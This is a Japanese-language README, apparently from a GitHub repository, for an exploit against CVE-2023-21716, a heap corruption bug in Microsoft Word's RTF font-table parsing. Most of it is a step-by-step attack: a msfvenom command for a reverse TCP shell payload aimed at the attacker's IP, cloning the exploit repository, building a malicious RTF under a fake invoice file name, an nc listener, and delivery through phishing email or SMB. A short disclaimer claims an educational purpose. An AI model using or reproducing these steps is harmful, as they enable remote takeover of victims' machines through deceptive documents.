CVE-2023-21716 — Microsoft Word RTF fonttbl ヒープ破損 RCE

重要度: 重大 (CVSS 9.8)
影響を受けるバージョン: Microsoft Word 2013 / 2016 / 2019 / 2021 (未パッチ)
パッチ: Microsoft 2023年2月の月例セキュリティ更新プログラム
作成者: REGGYRAIDER

脆弱性の概要

CVE-2023-21716 は、Microsoft Word の RTF パーサー (wwlib.dll) におけるヒープ破損の脆弱性です。
Word が \fonttbl ディレクティブを解析する際、32,767 を超えるフォントエントリが含まれていると、内部の 符号付き 16 ビットカウンタがオーバーフロー し、ヒープメタデータが破損します。これにより、攻撃者は被害者に細工された .rtf ファイルを送信するだけで リモートコード実行 (RCE) を達成できます。

マクロは不要。ファイルを開く以外のユーザー操作は不要です。

セットアップとエクスプロイト

ステップ 1 — msfvenom で生のシェルコードを生成

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o payload.bin

ステップ 2 — このリポジトリをクローン

git clone https://github.com/REGGYRAIDER/CVE-2023-21716
cd CVE-2023-21716

ステップ 3 — 悪意のある RTF をビルド

python3 exploit.py payload.bin invoice_march2024.rtf

ステップ 4 — リスナーを起動

nc -lvnp 4444

ステップ 5 — ファイルを配信

SMB、メールの添付ファイル、または任意のフィッシングベクターを介してアップロードします。
被害者が未パッチの Word で invoice_march2024.rtf を開くと、リバースシェルが返ってきます。

仕組み

攻撃者がRTFを作成          Wordが\fonttblを解析        ヒープが破損
─────────────────────  ──►   ──────────────────────  ──►  ──────────────
\fonttbl に 32769 以上       符号付き16ビットカウンタ       攻撃者の
のフォント定義               がオーバーフロー→ 0x8000     シェルコードが実行

エクスプロイトは、\fonttbl 内に 32,769 個の \f<N> フォント定義 を埋め込みます。
Word は (オーバーフローした) カウンタに基づいて固定サイズのバッファを割り当てます。
その後のフォント書き込みは 割り当てられたバッファを超えて 行われ、隣接するヒープチャンクを破損します。
生のシェルコード (payload.bin から) は \pict 内部に配置され、破損した領域に配置され、アロケータがそれを処理するときに実行が得られます。

免責事項

このツールは 教育目的および許可されたペネトレーションテスト専用 です。
あなたが所有していない、または明示的な書面によるテスト許可を得ていないシステムに対してこのエクスプロイトを使用することは違法です。
作成者は誤用に対する責任を負いません。

CVE-2023-21716

人気